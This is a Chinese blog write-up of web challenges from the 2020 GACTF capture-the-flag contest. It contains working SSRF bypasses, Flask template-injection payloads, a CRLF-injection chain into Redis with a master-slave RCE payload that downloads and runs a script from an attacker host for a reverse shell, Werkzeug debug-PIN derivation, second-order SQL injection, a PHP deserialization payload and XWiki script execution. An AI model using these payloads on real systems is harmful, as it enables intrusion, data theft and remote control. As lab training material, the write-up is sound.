c1ay's blog

2020GACTF writeup

字数统计: 3.2k阅读时长: 16 min
2020/08/31 Share

EZFLASK

http://124.70.206.91:10001/

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)

通过代码提示,POST请求/eval路由,得到提示:post eval

mark

后端大概是类似于eval("post eval")这种,但是过滤了很多内容,过滤的字符有(、)、[、、]、"、'等,并且有长度限制

可以通过传入eval=ctf.func_code.co_consts获取隐藏路由和提示信息

mark

(None, ‘the admin route :h4rdt0f1nd_9792uagcaca00qjaf‘, ‘too young too simple’)

https://www.cnblogs.com/xgxzj/archive/2011/09/15/2176240.html

POST请求h4rdt0f1nd_9792uagcaca00qjaf路由

mark

获得提示,需要传入post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path

这里存在ssrf,ip参数限制了只能为点分十进制ip地址格式且限制了不能为内网ip,path当中不能出现数字,但是这里用的是python的requests库,默认是支持302跳转

vps 302跳转php脚本:

1
2
3
<?php
header("Location: http://127.0.0.1:5000/");
?>

请求ip=vps&port=&path=/aaa.php,获取源码提示

mark

1
2
3
4
5
6
7
8
9
10
11
12
import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

存在ssti,获取flag

1
2
3
<?php
header("Location: http://127.0.0.1:5000/{{config['FLAG']}}");
?>

mark

sssrfme

http://121.36.199.21:10801/

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){
echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);//ip为公网ip返回其ip地址,ip为保留地址或者私有地址时返回false
}
if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
return false;
}else{
return $url;
}
}
function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}
highlight_file(__FILE__);
curl($_GET['url']);

使用parse_url对传入的$_GET['url']进行解析,对返回的$parsed进行了检测,通过代码可以看到需要突破的限制如下:

1、$parsed['port']必须为80或443

2、$parsed['scheme']必须为http或https

3、$parsed['host']必须为公网ip

上面的限制可以通过parse_url和curl的解析差异绕过

解析差异:

对于url格式

scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

当url当中存在@时

parse_url在解析url时,取的host和port为最后一个@字符后符合格式的host和port

curl在解析url时,取的host和port为第一个@字符后符合格式的host和port

举个栗子:

当请求地址http://u:p@127.0.0.1:1234 @1.1.1.1:80(注意这里中间位置有一个空格,空格也可以被其它字符代替,可以通过Fuzz获取允许的字符,有的curl版本不需要这个空格)

demo

1
2
3
4
5
6
<?php
$url="http://u:p@127.0.0.1:1234 @1.1.1.1:80";
$parsed = parse_url($url);
var_dump($parsed);
var_dump(ip2long($parsed['host']));
var_dump(filter_var($parsed['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE));

parse_url的解析结果如下,这里解析到的host和port为1.1.1.1和80

result:

1
array(5) { ["scheme"]=> string(4) "http" ["host"]=> string(7) "1.1.1.1" ["port"]=> int(80) ["user"]=> string(1) "u" ["pass"]=> string(17) "p@127.0.0.1:1234 " }

mark

而curl解析的host和port为127.0.0.1和1234,并且可以看到在curl请求时,空格+@1.1.1.1:80内容被丢弃

mark

mark

通过这个特性可以绕过对host和port的限制

所以目标可以通过以下的请求绕过对ip和端口的限制,对内网ip端口进行探测(题目这里的@1.1.1.1前不需要空格就可以)

http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:80@1.1.1.1/

mark

(可以看到这里返回了http://127.0.0.1:80的页面内容)

fuzz一下其它可用字符

mark

得到可用字符有很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
%a0
%b0
%c0
%d0
%e0
%f0
%a1
%b1
%c1
%d1
%e1
%f1
%a2
%b2
%c2
%d2
%e2
%f2
%a3
%b3
%c3
%d3
%e3
%f3
%a4
%b4
%c4
%d4
%e4
%f4
%a5
%b5
%c5
%d5
%e5
%f5
%a6
%b6
%c6
%d6
%e6
%f6
%a7
%b7
%c7
%d7
%e7
%f7
%a8
%b8
%c8
%d8
%e8
%f8
%a9
%b9
%c9
%d9
%e9
%f9
%aa
%ba
%ca
%da
%ea
%fa
%ab
%bb
%cb
%db
%eb
%fb
%ac
%bc
%cc
%dc
%ec
%fc
%ad
%bd
%cd
%dd
%ed
%fd
%ae
%be
%ce
%de
%ee
%fe
%af
%bf
%cf
%df
%ef
%ff

注明一下:不同环境下的测试结果会有差别,php有些版本的curl对于这样格式的url会请求失败,或者仅支持很少的字符

接下来扫描端口,在5000端口得到了提示

mark

hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com

通过探测得知http://127.0.0.1:5000也存在ssrf,ssrf套ssrf可还行,但是经过测试后发现同样只支持http/https

之后通过OOB外带看到这里用的是python的urllib

mark

这里可以通过urllib的http头注入突破http/https协议的限制,对内网redis进行攻击

CVE-2016-5699: http://[vps-ip]%0d%0aX-injected:%20header:8888

CVE-2019-9740: http://[vps-ip]%0d%0a%0d%0aheaders:8888

CVE-2019-9947: http://[vps-ip]:8888?%0d%0apayload%0d%0apadding

CVE-2019-9947可以成功

http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000@1.1.1.1/?url=http://47.105.186.146:8888?%250D%250Apayload%250D%250Apadding(这里注意需要二次url编码)

可以看到注入成功

mark

redis存在密码,需要爆破,题目提示弱口令,但是却爆破不出来,均返回-NOAUTH Authentication required.

http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000%20@1.1.1.1/?url=http://127.0.0.1:6379?%250d%250a%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123456%250D%250A%252A2%250D%250A%25244%250D%250Akeys%250D%250A%25241%250D%250A*

mark

后来问了队里的师傅,原来因为这里的redis存在安全机制,导致不管输入什么命令都会显示-NOAUTH Authentication required.,所以需要通过redis主从rce爆破密码,反弹shell,密码为123456

用这个工具可以生成gopher协议的主从rce payload

https://github.com/xmsec/redis-ssrf

修改成http方式的,payload如下

http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000@1.1.1.1/?url=http://127.0.0.1:6379?%250D%250A%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123456%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250Avps%250D%250A%25244%250D%250A7777%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A/tmp/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A/tmp/exp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252444%250D%250Awget%2520http%253A//vps/1.sh%2520%2526%2526%2520bash%25201.sh%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

反弹shell,获取flag(试了好几次才反弹到==)

mark

补充几道赛后做的题:

simpleflask

http://124.70.153.63/

POST访问后提示request.form[“name”],传入name进行测试,发现存在flask ssti,但是禁用了一些字符,构造以下payload获取flag

1
name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__["__builtins__"]["open"]("/FLAG".lower()).read()}}

绕过:

('->"、/flag->"/FLAG".lower())

mark

题目延申思考

寻找执行命令的链,寻找os模块

mark

mark

可以找到很多,比如

1
name={{().__class__.__base__.__subclasses__()[304].__init__.__globals__["OS".lower()]["POPEN".lower()]("WHOAMI".lower()).read()}}

再缩短一下

1
name={{().__class__.__base__.__subclasses__()[304].__init__.__globals__["o""s"]["po""pen"]("whoami").read()}}

mark

虽然可以执行命令,但是还过滤了空格

构造payload

1
name={{().__class__.__base__.__subclasses__()[304].__init__.__globals__["o""s"]["po""pen"](char(32).join("lsz/".split("z"))).read()}}

mark

但是这里显示char不存在,所以暂时没办法绕过(对flask还不是太熟悉,不知道什么原因)

关于这道题看了write补充一下:

看了其他师傅和官方的wp,得知这道题还可以通过任意文件读取+获取pin码进入debug调试模式执行python代码读取flag

读取题目源码

1
name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__["__builtins__"]["open"]("/home/ctf/app.py").read().upper()}}
1
FROM FLASK IMPORT FLASK, REQUEST, RENDER_TEMPLATE_STRING, REDIRECT, ABORT IMPORT STRING APP = FLASK(__NAME__) WHITE_LIST = STRING.ASCII_LETTERS + STRING.DIGITS + '()_-{}."[]=/' BLACK_LIST = ["CODECS", "SYSTEM", "FOR", "IF", "END", "OS", "EVAL", "REQUEST", "WRITE", "MRO", "COMPILE", "EXECFILE", "EXEC", "SUBPROCESS", "IMPORTLIB", "PLATFORM", "TIMEIT", "IMPORT", "LINECACHE", "MODULE", "GETATTRIBUTE", "POP", "GETITEM", "DECODE", "POPEN", "IFCONFIG", "FLAG", "CONFIG"] DEF CHECK(S): # PRINT(LEN(S)) IF LEN(S) > 131: ABORT(500, "HACKER") # ABORT(500, "HACKER LEN") FOR I IN S: IF I NOT IN WHITE_LIST: ABORT(500, "HACKER") # ABORT(500, "HACKER WHITE") FOR I IN BLACK_LIST: IF I IN S: ABORT(500, "HACKER") # ABORT(500, "HACKER BLACK") @APP.ROUTE('/', METHODS=["POST"]) DEF HELLO_WORLD(): TRY: NAME = REQUEST.FORM["NAME"] EXCEPT EXCEPTION: RETURN RENDER_TEMPLATE_STRING("<H1>REQUEST.FORM[\"NAME\"]<H1>") IF NAME == "": RETURN RENDER_TEMPLATE_STRING("<H1>HELLO WORLD!<H1>") CHECK(NAME) TEMPLATE = '<H1>HELLO {}!<H1>'.FORMAT(NAME) RES = RENDER_TEMPLATE_STRING(TEMPLATE) IF "FLAG" IN RES: ABORT(500, "HACKER") RETURN RES IF __NAME__ == '__MAIN__': APP.RUN(HOST="0.0.0.0", DEBUG=TRUE) !

可以看到过滤了哪些东西,并且可以看到这里flask是debug起的

读取mac地址

1
name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__["__builtins__"]["open"]("/sys/class/net/eth0/address").read()}}

02:42:ac:14:00:0b

转为10进制

1
2
>>> print 0x0242ac14000b
2485378088971

机器id

1
name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__["__builtins__"]["open"]("/etc/machine-id").read()}}

a8eb6cac33e701ae867269db5ce80e7f

新的machine-id要加上cgroup

于是读取/proc/self/cgroup并提取里面的id

1
name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__["__builtins__"]["open"]("/proc/self/cgroup").read()}}

52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0

拼接

a8eb6cac33e701ae867269db5ce80e7f52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0

脚本来自kingkk师傅 (https://xz.aliyun.com/t/2553)

得到pin码

742-613-872

进入debug模式,执行任意python代码

mark

(需要花时间研究总结一下ssti了,姿势太多)

carefuleyes

下载www.zip进行代码审计

发现一处二次注入

在rename.php,在出库时没有对数据库当中的$result[‘filename’]进行转义

1
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");

mark

可控输入:upload.php当中的basename(pathinfo($_FILES["upfile"]['name']))['filename']可以作为二次注入的注入点,这里转义入库,在出库时发生注入

mark

构造filename="1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4,5 from user#.jpg"

mark

接着访问rename,在old filename处传入1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4,5 from user#,触发二次注入

mark

获得数据库username和password为XM和qweqweqwe

upload.php存在unserialize($_GET["data"]);,构造payload触发这里的反序列化,获取flag

payload

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class XCTFGG{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$userinfo=array("XM","qweqweqwe");
$obj=new XCTFGG("login",$userinfo);
echo serialize($obj);

result:

1
O:6:"XCTFGG":2:{s:14:"XCTFGGmethod";s:5:"login";s:12:"XCTFGGargs";a:2:{i:0;s:2:"XM";i:1;s:9:"qweqweqwe";}}

因为这里类的属性是private,当中有不可见字符,需要修改一下

1
O:6:"XCTFGG":2:{S:14:"\00XCTFGG\00method";s:5:"login";S:12:"\00XCTFGG\00args";a:2:{i:0;s:2:"XM";i:1;s:9:"qweqweqwe";}}

最终构造上传数据包获取flag

POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7BS%3A14%3A%22%5C00XCTFGG%5C00method%22%3Bs%3A5%3A%22login%22%3BS%3A12%3A%22%5C00XCTFGG%5C00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1
Host: 202.182.118.236
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------406950059833807422084179561779
Content-Length: 228
Origin: http://202.182.118.236
Connection: close
Referer: http://202.182.118.236/
Upgrade-Insecure-Requests: 1    

-----------------------------406950059833807422084179561779
Content-Disposition: form-data; name="upfile"; filename="getflag.jpg"
Content-Type: image/jpeg    

111
-----------------------------406950059833807422084179561779--

mark

XWiki

CVE-2020-11057

https://www.anquanke.com/vul/id/2024692

根据漏洞描述,需要注册账号,然后在编辑个人仪表板的位置可以执行python或groovy代码

影响版本:

XWiki Platform 7.2版本至11.10.2版本

而目标为11.10.1

http://119.3.111.133:1234/bin/edit/XWiki/Adm1nAdm1n?editor=inline&category=dashboard

1
2
import os
print os.popen('ls /').read()

mark

1
2
import os
print os.popen('/readflag').read()

直接执行这个二进制文件不行,一直显示比较数字大小

mark

写个交互

readflag.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from subprocess import Popen,PIPE
p=Popen("./readflag",stdin=PIPE,stdout=PIPE,stderr=PIPE)
print p.stdout.readline()
print p.stdout.readline()
res=""
s=p.stdout.readline()
while "Which number is bigger?" in s:
print s
num0=int(s.split(':')[0].split('?')[1])
num1=int(s.split(':')[1])
if num0>num1:
p.stdin.write('0\n')
res+='0'
else:
p.stdin.write('1\n')
res+='1'
s=p.stdout.readline()
print res

得到一串二进制字符串

mark

转为字符串就是flag

1
2
3
>>> s="01100111011000010110001101110100011001100111101101011000010101110110100101101011011010010101111101000011010101100100010101011111011101110110100101110100011010000110111101110101011101000101111101110000011001010111001001101101011010010111001101110011011010010110111101101110010111110111001101100011011100100110100101110000011101000110100101101110011001110101111101100101011110000110010101100011011101010111010001101001011011110110111000100001001000010010000101111101"
>>> l=[s[i:i+8] for i in range(0, len(s), 8)]
>>> print ''.join([chr(i) for i in [int(b, 2) for b in l]])

gactf{XWiki_CVE_without_permission_scripting_execution!!!}

CATALOG
  1. 1. EZFLASK
  2. 2. sssrfme
  • 补充几道赛后做的题:
    1. 1. simpleflask
    2. 2. carefuleyes
    3. 3. XWiki